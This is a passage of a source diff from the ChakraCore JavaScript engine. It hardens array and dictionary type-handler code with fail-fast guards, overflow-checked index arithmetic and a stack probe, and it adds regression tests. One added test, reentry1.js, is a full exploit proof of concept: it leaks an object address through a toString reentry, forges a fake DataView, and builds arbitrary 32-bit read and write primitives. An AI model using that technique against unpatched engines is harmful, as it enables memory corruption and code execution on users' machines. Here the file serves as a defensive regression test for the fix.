+        failFastError.Completed();
+
         return fArray;
     }
 
@@ -7277,6 +7292,8 @@ Case0:
         // If return object is a JavascriptArray, we can use all the array splice helpers
         if (newArr && isBuiltinArrayCtor && len == pArr->length)
         {
+            // Code below has potential to throw due to OOM or SO. Just FailFast on those cases
+            AutoFailFastOnError failFastOnError;
 
             // Array has a single segment (need not start at 0) and splice start lies in the range
             // of that segment we optimize splice - Fast path.
@@ -7363,6 +7380,8 @@ Case0:
                 newArr->length = deleteLen;
             }
 
+            failFastOnError.Completed();
+
             newArr->InvalidateLastUsedSegment();
 
 #ifdef VALIDATE_ARRAY
@@ -7676,7 +7695,6 @@ Case0:
                 pArr->ClearSegmentMap(); // Dump segmentMap on unshift (before any possible allocation and throw)
 
                 Assert(pArr->length <= MaxArrayLength - unshiftElements);
-
                 bool isIntArray = false;
                 bool isFloatArray = false;
 
@@ -7707,19 +7725,6 @@ Case0:
                     }
                 }
 
-                if (isIntArray)
-                {
-                    UnshiftHelper<int32>(pArr, unshiftElements, args.Values);
-                }
-                else if (isFloatArray)
-                {
-                    UnshiftHelper<double>(pArr, unshiftElements, args.Values);
-                }
-                else
-                {
-                    UnshiftHelper<Var>(pArr, unshiftElements, args.Values);
-                }
-
                 SparseArraySegmentBase* renumberSeg = pArr->head->next;
 
                 while (renumberSeg)
@@ -7733,6 +7738,26 @@ Case0:
                     renumberSeg = renumberSeg->next;
                 }
 
+                try
+                {
+                    if (isIntArray)
+                    {
+                        UnshiftHelper<int32>(pArr, unshiftElements, args.Values);
+                    }
+                    else if (isFloatArray)
+                    {
+                        UnshiftHelper<double>(pArr, unshiftElements, args.Values);
+                    }
+                    else
+                    {
+                        UnshiftHelper<Var>(pArr, unshiftElements, args.Values);
+                    }
+                }
+                catch (...)
+                {
+                    Js::Throw::FatalInternalError();
+                }
+
                 pArr->InvalidateLastUsedSegment();
                 pArr->length += unshiftElements;
 
@@ -12621,6 +12646,14 @@ Case0:
         return static_cast<JavascriptNativeFloatArray *>(RecyclableObject::FromVar(aValue));
     }
 
+    AutoFailFastOnError::~AutoFailFastOnError()
+    {
+        if (!m_operationCompleted)
+        {
+            AssertOrFailFast(false);
+        }
+    }
+
     template int   Js::JavascriptArray::GetParamForIndexOf<unsigned int>(unsigned int, Js::Arguments const&, void*&, unsigned int&, Js::ScriptContext*);
     template bool  Js::JavascriptArray::ArrayElementEnumerator::MoveNext<void*>();
     template void  Js::JavascriptArray::SetArrayLiteralItem<void*>(unsigned int, void*);

+ 15 - 0
lib/Runtime/Library/JavascriptArray.h

@@ -1269,4 +1269,19 @@ namespace Js
     template <>
     inline uint32 JavascriptArray::ConvertToIndex<uint32, uint32>(uint32 idxDest, ScriptContext* scriptContext) { return idxDest; }
 
+    // This is for protecting a region of code, where we can't recover and be consistent upon failures (mainly due to OOM and SO).
+    // FailFast on that. 
+    class AutoFailFastOnError
+    {
+    public:
+        AutoFailFastOnError() : m_operationCompleted(false) { }
+        ~AutoFailFastOnError();
+
+        void Completed() { m_operationCompleted = true; }
+
+    private:
+        bool m_operationCompleted;
+    };
+
+
 } // namespace Js

+ 10 - 10
lib/Runtime/Library/amd64/JavascriptFunctionA.asm

@@ -330,17 +330,17 @@ endif
         push rcx
         sub rsp, 20h
         call ?GetStackSizeForAsmJsUnboxing@Js@@YAHPEAVScriptFunction@1@@Z
-        mov r13, rax
         add rsp, 20h
         pop rcx
-        pop rax
-
-setup_stack_and_reg_args:
-
-        ; OP_CallAsmInternal checks stack space
+        pop r13
 
+        ; OP_CallAsmInternal probes stack
+        ; Check if we need to commit more stack
+        cmp rax, 2000h ; x64 has 2 guard pages
+        jl stack_alloc
+        call __chkstk
 stack_alloc:
-        sub  rsp, r13
+        sub rsp, rax
 
         ;; copy all args to the new stack frame.
         lea r11, [rsi]
@@ -350,8 +350,8 @@ copy_stack_args:
         mov qword ptr [r10], rdi
         add r11, 8
         add r10, 8
-        sub r13, 8
-        cmp r13, 0
+        sub rax, 8
+        cmp rax, 0
         jg copy_stack_args
 
         ; r12 points to arg size map
@@ -399,7 +399,7 @@ SIMDArg3:
         movups xmm3, xmmword ptr [r11]
 
 setup_args_done:
-        call rax
+        call r13
 done:
         lea rsp, [rbp]
         pop rbp

+ 5 - 5
lib/Runtime/Types/DictionaryPropertyDescriptor.h

@@ -156,17 +156,17 @@ namespace Js
             Assert(this->Data == NoSlots);
             if (addingLetConstGlobal)
             {
-                this->Data = nextPropertyIndex++;
+                this->Data = ::Math::PostInc(nextPropertyIndex);
             }
         }
         else if (addingLetConstGlobal)
         {
             this->Getter = this->Data;
-            this->Data = nextPropertyIndex++;
+            this->Data = ::Math::PostInc(nextPropertyIndex);
         }
         else
         {
-            this->Getter = nextPropertyIndex++;
+            this->Getter = ::Math::PostInc(nextPropertyIndex);
         }
         this->Attributes |= PropertyLetConstGlobal;
         Assert((addingLetConstGlobal ? GetDataPropertyIndex<true>() : GetDataPropertyIndex<false>()) != NoSlots);
@@ -222,12 +222,12 @@ namespace Js
         bool addedPropertyIndex = false;
         if (this->Getter == NoSlots)
         {
-            this->Getter = nextPropertyIndex++;
+            this->Getter = ::Math::PostInc(nextPropertyIndex);
             addedPropertyIndex = true;
         }
         if (this->Setter == NoSlots)
         {
-            this->Setter = nextPropertyIndex++;
+            this->Setter = ::Math::PostInc(nextPropertyIndex);
             addedPropertyIndex = true;
         }
         Assert(this->GetGetterPropertyIndex() != NoSlots || this->GetSetterPropertyIndex() != NoSlots);

+ 35 - 35
lib/Runtime/Types/DictionaryTypeHandler.cpp

@@ -16,7 +16,7 @@ namespace Js
     DictionaryTypeHandlerBase<T>* DictionaryTypeHandlerBase<T>::CreateTypeHandlerForArgumentsInStrictMode(Recycler * recycler, ScriptContext * scriptContext)
     {
         DictionaryTypeHandlerBase<T> * dictTypeHandler = New(recycler, 8, 0, 0);
-        
+
         dictTypeHandler->Add(scriptContext->GetPropertyName(Js::PropertyIds::caller), PropertyWritable, scriptContext);
         dictTypeHandler->Add(scriptContext->GetPropertyName(Js::PropertyIds::callee), PropertyWritable, scriptContext);
         dictTypeHandler->Add(scriptContext->GetPropertyName(Js::PropertyIds::length), PropertyBuiltInMethodDefaults, scriptContext);
@@ -374,7 +374,7 @@ namespace Js
     {
         Assert(this->GetSlotCapacity() <= MaxPropertyIndexSize);   // slotCapacity should never exceed MaxPropertyIndexSize
         Assert(nextPropertyIndex < this->GetSlotCapacity());       // nextPropertyIndex must be ready
-        T index = nextPropertyIndex++;
+        T index = ::Math::PostInc(nextPropertyIndex);
 
         DictionaryPropertyDescriptor<T> descriptor(index, attributes);
         Assert((!isFixed && !usedAsFixed) || (!IsInternalPropertyId(propertyId->GetPropertyId()) && this->singletonInstance != nullptr));
@@ -1537,6 +1537,18 @@ namespace Js
         Assert(this->VerifyIsExtensible(scriptContext, false) || this->HasProperty(instance, propertyId)
             || JavascriptFunction::IsBuiltinProperty(instance, propertyId));
 
+        // We could potentially need 2 new slots to hold getter/setter, try pre-reserve
+        if (this->GetSlotCapacity() - 2 < nextPropertyIndex)
+        {
+            if (this->GetSlotCapacity() > MaxPropertyIndexSize - 2)
+            {
+                return ConvertToBigDictionaryTypeHandler(instance)
+                    ->SetAccessors(instance, propertyId, getter, setter, flags);
+            }
+
+            this->EnsureSlotCapacity(instance, 2);
+        }
+
         DictionaryPropertyDescriptor<T>* descriptor;
         if (this->GetFlags() & IsPrototypeFlag)
         {
@@ -1582,15 +1594,7 @@ namespace Js
             // conversion from data-property to accessor property
             if (descriptor->ConvertToGetterSetter(nextPropertyIndex))
             {
-                if (this->GetSlotCapacity() <= nextPropertyIndex)
-                {
-                    if (this->GetSlotCapacity() >= MaxPropertyIndexSize)
-                    {
-                        Throw::OutOfMemory();
-                    }
-
-                    this->EnsureSlotCapacity(instance);
-                }
+                AssertOrFailFast(this->GetSlotCapacity() >= nextPropertyIndex); // pre-reserved 2 at entry
             }
 
             // DictionaryTypeHandlers are not supposed to be shared.
@@ -1670,18 +1674,10 @@ namespace Js
 
         getter = CanonicalizeAccessor(getter, library);
         setter = CanonicalizeAccessor(setter, library);
-        T getterIndex = nextPropertyIndex++;
-        T setterIndex = nextPropertyIndex++;
+        T getterIndex = ::Math::PostInc(nextPropertyIndex);
+        T setterIndex = ::Math::PostInc(nextPropertyIndex);
         DictionaryPropertyDescriptor<T> newDescriptor(getterIndex, setterIndex);
-        if (this->GetSlotCapacity() <= nextPropertyIndex)
-        {
-            if (this->GetSlotCapacity() >= MaxPropertyIndexSize)
-            {
-                Throw::OutOfMemory();
-            }
-
-            this->EnsureSlotCapacity(instance);
-        }
+        AssertOrFailFast(this->GetSlotCapacity() >= nextPropertyIndex); // pre-reserved 2 at entry
 
         // DictionaryTypeHandlers are not supposed to be shared.
         Assert(!GetIsOrMayBecomeShared());
@@ -1782,6 +1778,18 @@ namespace Js
             }
             else if ((descriptor->Attributes & PropertyLetConstGlobal) != (attributes & PropertyLetConstGlobal))
             {
+                // We could potentially need 1 new slot by AddShadowedData(), try pre-reserve
+                if (this->GetSlotCapacity() <= nextPropertyIndex)
+                {
+                    if (this->GetSlotCapacity() >= MaxPropertyIndexSize)
+                    {
+                        return ConvertToBigDictionaryTypeHandler(instance)->SetPropertyWithAttributes(
+                            instance, propertyId, value, attributes, info, flags, possibleSideEffects);
+                    }
+
+                    this->EnsureSlotCapacity(instance);
+                }
+
                 bool addingLetConstGlobal = (attributes & PropertyLetConstGlobal) != 0;
 
                 if (addingLetConstGlobal)
@@ -1795,15 +1803,7 @@ namespace Js
 
                 descriptor->AddShadowedData(nextPropertyIndex, addingLetConstGlobal);
 
-                if (this->GetSlotCapacity() <= nextPropertyIndex)
-                {
-                    if (this->GetSlotCapacity() >= MaxPropertyIndexSize)
-                    {
-                        Throw::OutOfMemory();
-                    }
-
-                    this->EnsureSlotCapacity(instance);
-                }
+                AssertOrFailFast(this->GetSlotCapacity() >= nextPropertyIndex); // pre-reserved above
 
                 if (addingLetConstGlobal)
                 {
@@ -1891,15 +1891,15 @@ namespace Js
     }
 
     template <typename T>
-    void DictionaryTypeHandlerBase<T>::EnsureSlotCapacity(DynamicObject * instance)
+    void DictionaryTypeHandlerBase<T>::EnsureSlotCapacity(DynamicObject * instance, T increment /*= 1*/)
     {
         Assert(this->GetSlotCapacity() < MaxPropertyIndexSize); // Otherwise we can't grow this handler's capacity. We should've evolved to Bigger handler or OOM.
 
         // A Dictionary type is expected to have more properties
         // grow exponentially rather linearly to avoid the realloc and moves,
         // however use a small exponent to avoid waste
-        int newSlotCapacity = (nextPropertyIndex + 1);
-        newSlotCapacity += (newSlotCapacity>>2);
+        int newSlotCapacity = ::Math::Add(nextPropertyIndex, increment);
+        newSlotCapacity = ::Math::Add(newSlotCapacity, newSlotCapacity >> 2);
         if (newSlotCapacity > MaxPropertyIndexSize)
         {
             newSlotCapacity = MaxPropertyIndexSize;
@@ -2099,7 +2099,7 @@ namespace Js
             this->EnsureSlotCapacity(instance);
         }
 
-        T index = nextPropertyIndex++;
+        T index = ::Math::PostInc(nextPropertyIndex);
         DictionaryPropertyDescriptor<T> newDescriptor(index, attributes);
 
         // DictionaryTypeHandlers are not supposed to be shared.

+ 1 - 1
lib/Runtime/Types/DictionaryTypeHandler.h

@@ -208,7 +208,7 @@ namespace Js
         void Add(const PropertyRecord* propertyId, PropertyAttributes attributes, ScriptContext *const scriptContext);
         void Add(const PropertyRecord* propertyId, PropertyAttributes attributes, bool isInitialized, bool isFixed, bool usedAsFixed, ScriptContext *const scriptContext);
 
-        void EnsureSlotCapacity(DynamicObject * instance);
+        void EnsureSlotCapacity(DynamicObject * instance, T increment = 1);
 
         BOOL AddProperty(DynamicObject* instance, const PropertyRecord* propertyRecord, Var value, PropertyAttributes attributes, PropertyValueInfo* info, PropertyOperationFlags flags, bool throwIfNotExtensible, SideEffects possibleSideEffects);
         ES5ArrayTypeHandlerBase<T>* ConvertToES5ArrayType(DynamicObject *instance);

+ 3 - 3
lib/Runtime/Types/SimpleDictionaryTypeHandler.cpp

@@ -1036,7 +1036,7 @@ namespace Js
         Assert(this->GetSlotCapacity() <= MaxPropertyIndexSize);   // slotCapacity should never exceed MaxPropertyIndexSize
         Assert(nextPropertyIndex < this->GetSlotCapacity());       // nextPropertyIndex must be ready
 
-        Add(nextPropertyIndex++, propertyKey, attributes, isInitialized, isFixed, usedAsFixed, scriptContext);
+        Add(::Math::PostInc(nextPropertyIndex), propertyKey, attributes, isInitialized, isFixed, usedAsFixed, scriptContext);
     }
 
     template <typename TPropertyIndex, typename TMapKey, bool IsNotExtensibleSupported>
@@ -2536,8 +2536,8 @@ namespace Js
             // A Dictionary type is expected to have more properties
             // grow exponentially rather linearly to avoid the realloc and moves,
             // however use a small exponent to avoid waste
-            int newSlotCapacity = (nextPropertyIndex + 1);
-            newSlotCapacity += (newSlotCapacity>>2);
+            int newSlotCapacity = ::Math::Add(nextPropertyIndex, (TPropertyIndex)1);
+            newSlotCapacity = ::Math::Add(newSlotCapacity, newSlotCapacity >> 2);
             if (newSlotCapacity > MaxPropertyIndexSize)
             {
                 newSlotCapacity = MaxPropertyIndexSize;

+ 18 - 0
test/AsmJs/lotsOfLocals.js

@@ -0,0 +1,18 @@
+//-------------------------------------------------------------------------------------------------------
+// Copyright (C) Microsoft. All rights reserved.
+// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
+//-------------------------------------------------------------------------------------------------------
+
+const txt = `
+  return function() {
+    "use asm";
+    function foo() {
+      ${Array(50000).fill().map((_, i) => `var l${i} = 0.0;`).join("\n")}
+    }
+    return foo;
+  }
+`;
+const asmModule = (new Function(txt))();
+const asmFn = asmModule();
+asmFn();
+print("PASSED");

+ 2 - 0
test/AsmJs/params.baseline

@@ -0,0 +1,2 @@
+Test(14000)
+Module is invalid

+ 115 - 0
test/AsmJs/params.js

@@ -0,0 +1,115 @@
+//-------------------------------------------------------------------------------------------------------
+// Copyright (C) Microsoft Corporation and contributors. All rights reserved.
+// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
+//-------------------------------------------------------------------------------------------------------
+
+function* paramTypes() {
+  while (true) {
+    yield "i32";
+    yield "f32";
+    yield "f64";
+  }
+}
+
+function* callArguments() {
+  while (true) {
+    yield {value: -12345, i32: "-12345", f32: `fr(${Math.fround(-12345)})`, f64: "-12345.0"};
+    yield {value: Math.PI, i32: `${Math.PI|0}`, f32: `fr(${Math.fround(Math.PI)})`, f64: `+${Math.PI}`};
+  }
+}
+
+function wrapType(type, name) {
+  switch (type) {
+    case "i32": return `${name}|0`;
+    case "f32": return `fr(${name})`;
+    case "f64": return `+${name}`;
+    default: throw new Error("Invalid Type");
+  }
+}
+
+const tested = {};
+function test(n) {
+  if (n in tested) {
+    return tested[n];
+  }
+  print(`Test(${n})`);
+  const typeGen = paramTypes();
+  const argGen = callArguments();
+  const params = [], callArgs = [], verify = [];
+  for (let i = 0; i < n; ++i) {
+    const type = typeGen.next().value;
+    const paramName = `a${i|0}`;
+    const arg = argGen.next().value;
+
+    params.push({type, name: paramName});
+    callArgs.push(arg.value);
+    verify.push(`if (${wrapType(type, paramName)} != ${arg[type]}) return 1;`);
+  }
+  const paramList = params.map(p => p.name).join(",");
+  const paramsTypes = params.map(({type, name}) => `${name} = ${wrapType(type, name)}`).join("; ");
+  const txt = `
+  return function AsmModule(stdlib) {
+    "use asm";
+    var fr = stdlib.Math.fround;
+    function verify(${paramList}) {
+      ${paramsTypes};
+      ${verify.join("\n")}
+      return 0;
+    }
+    function foo(${paramList}) {
+      ${paramsTypes}
+      return verify(${paramList})|0;
+    }
+    return foo;
+  }`;
+
+  //print(txt);
+  try {
+    var AsmModule = (new Function(txt))();
+    var foo = AsmModule({Math});
+    if (foo(...callArgs) !== 1) {
+      print(`FAILED. Failed to validate with ${n} arguments`);
+    }
+    tested[n] = true;
+    return true;
+  } catch (e) {
+  }
+  tested[n] = false;
+}
+const [forceTest] = WScript.Arguments;
+if (forceTest !== undefined) {
+  const res = test(forceTest);
+  print(res ? "Module is valid" : "Module is invalid");
+  WScript.Quit(0);
+}
+
+let nParams = 8201;
+let inc = 100;
+let direction = true;
+
+while (inc !== 0) {
+  if (test(nParams)) {
+    if (direction) {
+      nParams += inc;
+    } else {
+      direction = true;
+      inc >>= 1;
+      nParams += inc;
+    }
+  } else {
+    if (!direction) {
+      nParams -= inc;
+    } else {
+      direction = false;
+      inc >>= 1;
+      nParams -= inc;
+    }
+  }
+
+  if (nParams > 100000 || nParams < 0) {
+    print(`FAILED. Params reached ${nParams} long. Expected an error by now`);
+    break;
+  }
+}
+
+print(`Support at most ${nParams} params`);

+ 15 - 0
test/AsmJs/rlexe.xml

@@ -830,6 +830,21 @@
       <files>bugGH2270.js</files>
     </default>
   </test>
+  <test>
+    <default>
+      <files>lotsOfLocals.js</files>
+      <tags>exclude_chk</tags>
+    </default>
+  </test>
+  <test>
+    <default>
+      <files>params.js</files>
+      <baseline>params.baseline</baseline>
+      <!-- TODO:: Add flag -EnableFatalErrorOnOOM- once the test reaches release/1.6 -->
+      <compile-flags>-testtrace:asmjs -args 14000 -endargs</compile-flags>
+      <tags>exclude_dynapogo,exclude_xplat</tags>
+    </default>
+  </test>
   <test>
     <default>
       <files>nested.js</files>

File diff suppressed because it is too large
+ 122 - 0
test/fieldopts/equiv-mismatch2.js


+ 6 - 0
test/fieldopts/rlexe.xml

@@ -19,6 +19,12 @@
       <baseline>equiv-mismatch.baseline</baseline>
     </default>
   </test>
+  <test>
+    <default>
+      <files>equiv-mismatch2.js</files>
+      <compile-flags>-force:rejit -off:bailonnoprofile</compile-flags>
+    </default>
+  </test>
   <test>
     <default>
       <files>equiv-locktypeid.js</files>

+ 118 - 0
test/typedarray/reentry1.js

@@ -0,0 +1,118 @@
+//-------------------------------------------------------------------------------------------------------
+// Copyright (C) Microsoft Corporation and contributors. All rights reserved.
+// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
+//-------------------------------------------------------------------------------------------------------
+
+function go(){
+a1 = [1.1,2.2]
+a2 = [1.1,2.2]
+ab = new ArrayBuffer(4)
+tarr = new Uint8ClampedArray(ab)
+
+fakeaddr =  0xaaaabbbbbbbb * 4.9406564584124654E-324;
+function aaa(p1,p2,ii){
+    p1[0] = 1.1
+    p1[1] = 2.2
+    p2[0] = ii
+    p1[0] = fakeaddr
+  return ii
+}
+
+function bbb(p1,p2,ii){
+    p1[0] = 1.1
+    p1[1] = 2.2
+    p2[0] = ii
+  return p1[0]
+}
+
+for(var i=0; i <0x100000; i++) {
+    aaa(a1,tarr,3)
+}
+
+for(var i=0; i <0x100000; i++) {
+    bbb(a2,tarr,3)
+}
+
+var arr = new Array(
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111,
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111,
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111
+  )
+ab = new ArrayBuffer(0x100)
+var farr = new Float64Array(ab)
+var uarr = new Uint32Array(ab)
+
+farr[0] = bbb(a2, tarr, {toString:function(){a2[0] = arr; return 9}})
+var leakaddr = uarr[1]*0x100000000+uarr[0]
+
+fakeaddr = (leakaddr+0x58) * 4.9406564584124654E-324;
+aaa(a1, tarr, {toString:function(){a1[0] = {}; return 9}})
+typeidaddr = leakaddr+0x58
+abaddr = leakaddr+0x2c
+
+function low32(v)
+{
+	return (v % 0x100000000);
+}
+
+function high32(v)
+{
+	return Math.floor(v / 0x100000000);
+}
+
+function toInt(v)
+{
+	return v < 0x80000000 ? v : -(0x100000000 - v);
+}
+
+function toUint(v)
+{
+	return v >= 0 ? v : (0x100000000 + v);
+}
+
+arr[0] = 56
+arr[1] = 0
+arr[2] = toInt(low32(typeidaddr))
+arr[3] = toInt(high32(typeidaddr))
+arr[4] = 0
+arr[5] = 0
+arr[6] = 0
+arr[7] = 0
+arr[8] = 0xabcd
+arr[9] = 0
+arr[10] = toInt(low32(abaddr))
+arr[11] = toInt(high32(abaddr))
+arr[12] = 0
+arr[13] = 0
+arr[14] = 0x41414141
+arr[15] = 0x41414141
+arr[16] = 0
+arr[17] = 0
+
+fakeobj = a1[0]
+
+var read32 = function(addr){
+  arr[14] = toInt(low32(addr))
+  arr[15] = toInt(high32(addr))
+  return DataView.prototype.getUint32.call(fakeobj, 0, true)
+}
+
+var write32 = function(addr, v){
+  arr[14] = toInt(low32(addr))
+  arr[15] = toInt(high32(addr))
+  DataView.prototype.setUint32.call(fakeobj, 0, v, true)
+}
+
+WScript.Echo("vtable:" + read32(leakaddr+4).toString(16) + read32(leakaddr).toString(16))
+
+arr.length = 0xffffffff
+write32(leakaddr+0x44, 0xffffffff)
+write32(leakaddr+0x48, 0xffffffff)
+
+write32(0xaaaabbbbbbbb, 0)
+
+}
+try{
+go()}catch(e){}
+
+WScript.Echo('pass');

+ 5 - 0
test/typedarray/rlexe.xml

@@ -339,4 +339,9 @@ Below test fails with difference in space. Investigate the cause and re-enable t
       <files>bug_OS_6911900.js</files>
     </default>
   </test>
+  <test>
+    <default>
+      <files>reentry1.js</files>
+    </default>
+  </test>
 </regress-exe>

+ 2 - 0
test/wasm/baselines/params.baseline

@@ -0,0 +1,2 @@
+Test(14000)
+Module is invalid

+ 108 - 0
test/wasm/params.js

@@ -0,0 +1,108 @@
+//-------------------------------------------------------------------------------------------------------
+// Copyright (C) Microsoft Corporation and contributors. All rights reserved.
+// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
+//-------------------------------------------------------------------------------------------------------
+WScript.Flag("-wasmI64");
+
+function* paramTypes() {
+  while(true) {
+    yield "i32";
+    yield "i64";
+    yield "f32";
+    yield "f64";
+  }
+}
+
+function* callArguments() {
+  // 3 values to rotate which type will receive which arg
+  while(true) {
+    yield {value: -12345, i32: "(i32.const -12345)", i64: "(i64.const -12345)", f32: `(f32.const ${Math.fround(-12345)})`, f64: `(f64.const -12345.0)`};
+    yield {value: "0xabcdef12345678", i32: "(i32.const 0)", i64: "(i64.const 0xabcdef12345678)", f32: "(f32.const 0)", f64: "(f64.const 0)"};
+    yield {value: Math.PI, i32: `(i32.const ${Math.PI|0})`, i64: `(i64.const ${Math.PI|0})`, f32: `(f32.const ${Math.fround(Math.PI)})`, f64: `(f64.const ${Math.PI})`};
+  }
+}
+const tested = {};
+function test(n) {
+  if (n in tested) {
+    return tested[n];
+  }
+  print(`Test(${n})`)
+  const typeGen = paramTypes();
+  const argGen = callArguments();
+  let params = [], wasmCallTxt = [], callArgs = [], verify = [];
+  for (let i = 0; i < n; ++i) {
+    const type = typeGen.next().value;
+    const getLocal = `(get_local ${i|0})`;
+    const arg = argGen.next().value;
+
+    params.push(type);
+    wasmCallTxt.push(getLocal);
+    callArgs.push(arg.value);
+    verify.push(`(${type}.ne ${getLocal} ${arg[type]}) (br_if 0 (i32.const 0)) (drop)`);
+  }
+  const paramsTxt = params.join(" ");
+  const txt = `(module
+    (func $verify (param ${paramsTxt}) (result i32)
+      ${verify.join("\n      ")}
+      (i32.const 1)
+    )
+    (func (export "foo") (param ${paramsTxt}) (result i32)
+      (call $verify
+        ${wasmCallTxt.join("\n        ")}
+      )
+    )
+  )`;
+  //print(txt);
+  const buf = WebAssembly.wabt.convertWast2Wasm(txt);
+  try {
+    const module = new WebAssembly.Module(buf);
+    const {exports: {foo}} = new WebAssembly.Instance(module);
+    if (foo(...callArgs) !== 1) {
+      print(`FAILED. Failed to validate with ${n} arguments`);
+    }
+    tested[n] = true;
+    return true;
+  } catch (e) {
+  }
+  tested[n] = false;
+}
+
+const [forceTest] = WScript.Arguments;
+if (forceTest !== undefined) {
+  const res = test(forceTest);
+  print(res ? "Module is valid" : "Module is invalid");
+  WScript.Quit(0);
+}
+
+let nParams = 9000;
+let inc = 1000;
+let direction = true;
+
+while (inc !== 0) {
+  if (test(nParams)) {
+    if (direction) {
+      nParams += inc;
+    } else {
+      direction = true;
+      inc >>= 1;
+      nParams += inc;
+    }
+  } else {
+    if (!direction) {
+      nParams -= inc;
+    } else {
+      direction = false;
+      inc >>= 1;
+      // make sure the last test is a passing one
+      inc = inc || 1;
+      nParams -= inc;
+    }
+  }
+
+  if (nParams > 100000 || nParams < 0) {
+    print(`FAILED. Params reached ${nParams} long. Expected an error by now`);
+    break;
+  }
+}
+
+print(`Support at most ${nParams} params`);

+ 10 - 0
test/wasm/rlexe.xml

@@ -149,6 +149,16 @@
     <compile-flags>-wasm</compile-flags>
   </default>
 </test>
+<!-- Todo:: Enable test once ported to release/1.6
+<test>
+  <default>
+    <files>params.js</files>
+    <baseline>baselines/params.baseline</baseline>
+    <compile-flags>-wasm -EnableFatalErrorOnOOM- -args 14000 -endargs</compile-flags>
+    <tags>exclude_jshost,exclude_win7,exclude_dynapogo</tags>
+  </default>
+</test>
+-->
 <test>
   <default>
     <files>debugger.js</files>

Some files were not shown because too many files changed in this diff